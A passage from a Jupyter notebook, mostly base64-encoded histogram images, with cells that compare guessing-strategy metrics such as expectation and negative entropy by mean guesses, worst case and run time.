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\n",
"text/plain": [
"<Figure size 432x288 with 1 Axes>"
]
},
"metadata": {
"needs_background": "light"
},
"output_type": "display_data"
}
],
"source": [
"%time show_metric(expectation, False)"
]
},
{
"cell_type": "code",
"execution_count": 34,
"metadata": {},
"outputs": [
{
"name": "stdout",
"output_type": "stream",
"text": [
"mean = 7.09 ± 1.79 guesses; worst = 19\n",
"CPU times: user 13.6 s, sys: 87.6 ms, total: 13.6 s\n",
"Wall time: 14.6 s\n"
]
},
{
"data": {
"image/png": "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\n",
"text/plain": [
"<Figure size 432x288 with 1 Axes>"
]
},
"metadata": {
"needs_background": "light"
},
"output_type": "display_data"
}
],
"source": [
"%time show_metric(negative_entropy, False)"
]
},
{
"cell_type": "markdown",
"metadata": {},
"source": [
"# Comparing Metrics with Inconsistent Guesses Allowed"
]
},
{
"cell_type": "code",
"execution_count": 35,
"metadata": {},
"outputs": [
{
"name": "stdout",
"output_type": "stream",
"text": [
"mean = 7.05 ± 0.98 guesses; worst = 10\n",
"CPU times: user 38.2 s, sys: 134 ms, total: 38.4 s\n",
"Wall time: 38.5 s\n"
]
},
{
"data": {
